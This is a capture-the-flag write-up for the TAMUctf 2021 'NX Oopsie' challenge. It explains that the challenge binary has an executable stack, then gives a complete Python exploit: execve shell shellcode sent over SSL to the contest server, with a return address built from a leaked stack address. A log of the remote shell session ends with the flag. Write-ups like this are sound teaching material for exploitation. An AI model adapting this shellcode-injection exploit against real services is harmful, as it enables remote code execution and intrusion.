TAMUctf 2021 NX Oopsie Solution
TAMUctf 2021 NX Oopsie - 100 points
Attack this binary and get the flag! nx-oopsie
openssl s_client -connect tamuctf.com:443 -servername nx-oopsie -quiet
I spent way too much time on this problem, stopping to work on other problems and coming back time and time again. This is a simple stack overflow on x86-64 with NX and PIE. How do you exploit it? It uses musl libc so running it on a normal Linux machine doesn’t work. The breakthrough came when I realized that they were giving RBP
and had a think. There was no way to find an address in the executable or libc. How then? How do you exploit if you can’t ROP? The answer is in the binary.
objdump -x nx-oopsie
nx-oopsie: file format elf64-x86-64
nx-oopsie
architecture: i386:x86-64, flags 0x00000150:
HAS_SYMS, DYNAMIC, D_PAGED
start address 0x0000000000001080
Program Header:
PHDR off 0x0000000000000040 vaddr 0x0000000000000040 paddr 0x0000000000000040 align 2**3
filesz 0x0000000000000230 memsz 0x0000000000000230 flags r--
INTERP off 0x0000000000000270 vaddr 0x0000000000000270 paddr 0x0000000000000270 align 2**0
filesz 0x0000000000000019 memsz 0x0000000000000019 flags r--
LOAD off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**12
filesz 0x0000000000000608 memsz 0x0000000000000608 flags r--
LOAD off 0x0000000000001000 vaddr 0x0000000000001000 paddr 0x0000000000001000 align 2**12
filesz 0x0000000000000309 memsz 0x0000000000000309 flags r-x
LOAD off 0x0000000000002000 vaddr 0x0000000000002000 paddr 0x0000000000002000 align 2**12
filesz 0x000000000000014c memsz 0x000000000000014c flags r--
LOAD off 0x0000000000002de0 vaddr 0x0000000000003de0 paddr 0x0000000000003de0 align 2**12
filesz 0x0000000000000228 memsz 0x0000000000000290 flags rw-
DYNAMIC off 0x0000000000002e10 vaddr 0x0000000000003e10 paddr 0x0000000000003e10 align 2**3
filesz 0x0000000000000180 memsz 0x0000000000000180 flags rw-
EH_FRAME off 0x000000000000205c vaddr 0x000000000000205c paddr 0x000000000000205c align 2**2
filesz 0x0000000000000034 memsz 0x0000000000000034 flags r--
STACK off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**4
filesz 0x0000000000000000 memsz 0x0000000000000000 flags rwx
RELRO off 0x0000000000002de0 vaddr 0x0000000000003de0 paddr 0x0000000000003de0 align 2**0
filesz 0x0000000000000220 memsz 0x0000000000000220 flags r--
Dynamic Section:
NEEDED libc.musl-x86_64.so.1
Notice anything? The stack is executable. We’re back to 200X style exploitation of buffer overflows. The only complication is that we have to use SSL and the stack address they gave us. Lucky for us, that is easy in 2021. Below is my working exploit and it’s output as I put it into my exploits. I used shellcode from Shell Storm as seen in the exploit.
#!/usr/bin/env python3
"""
Nx-Oopsie Solution
by Javantea
Apr 25, 2021
http://shell-storm.org/shellcode/files/shellcode-806.php
"""
import ssl
import socket
import struct
sc = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ss = ssl.wrap_socket(s)
ss.server_hostname = 'nx-oopsie'
ss.connect(('tamuctf.com', 443))
value = ss.recv(1024)
b"Psst! I heard you might need this...: 0x7fffc19a9dd0\nWhat's your name? "
print(value)
addr = int(value[40:value.index(b"\n")], 16)
sc_addr = addr - 0x40
pl = (0x48 - len(sc))
padding = b'A' * pl
if pl < 0:
print("Warning: Shellcode is too long. make it smaller.")
name = sc + padding + struct.pack('<Q', sc_addr) + b'\n'
ss.send(name)
print("Sent payload", name)
#rr = ss.recv(1024)
#print("Received data 1", rr)
ss.send(b'ls\n')
rr = ss.recv(1024)
print("Received data 2", rr)
ss.send(b'df\n')
rr = ss.recv(1024)
print("Received data 3", rr)
ss.send(b'echo arf arf arf\n')
rr = ss.recv(1024)
print("Received data 4", rr)
ss.send(b'cat flag.txt\n')
rr = ss.recv(1024)
print("Received data 5", rr)
while rr != b'':
rr = ss.recv(1024)
print("Received data 6", rr)
ss.close()
"""
python3 nx-oopsie1.py
b"Psst! I heard you might need this...: 0x7fffee665ef0\nWhat's your name? "
Sent payload b'1\xc0H\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb0^f\xee\xff\x7f\x00\x00\n'
Received data 2 b'flag.txt\n'
Received data 3 b'Filesystem 1K-blocks Used Available Use% Mounted on\n'
Received data 4 b'overlay 48884348 9350568 36896060 20% /\ntmpfs 65536 0 65536 0% /dev\ntmpfs 32984124 0 32984124 0% /sys/fs/cgroup\nshm 65536 0 65536 0% /dev/shm\n/dev/sda1 48884348 9350568 36896060 20% /etc/resolv.conf\n/dev/sda1 48884348 9350568 36896060 20% /etc/hostname\n/dev/sda1 48884348 9350568 36896060 20% /etc/hosts\ntmpfs 32984124 0 32984124 0% /proc/acpi\ntmpfs 65536 0 65536 0% /proc/kcore\ntmpfs 65536 0 65536 0% /proc/keys\ntmpfs 65536 0 65536 0% /proc/timer_list\ntmpfs 65536 0 65536 0% /proc/sched_debug\ntmpfs 32984124 0 32984124 0% /proc/scsi\ntmpfs 32984124 0 32984124 0% /sys/firmware\n'
Received data 5 b'arf arf arf\n'
Received data 6 b'gigem{0oP5_al1_3xeCu7aB1e}\n'
^CTraceback (most recent call last):
File "nx-oopsie1.py", line 45, in <module>
rr = ss.recv(1024)
File "/usr/lib/python3.8/ssl.py", line 1226, in recv
return self.read(buflen)
File "/usr/lib/python3.8/ssl.py", line 1101, in read
return self._sslobj.read(len)
KeyboardInterrupt
Flag received is gigem{0oP5_al1_3xeCu7aB1e}
"""
The flag is gigem{0oP5_al1_3xeCu7aB1e}
.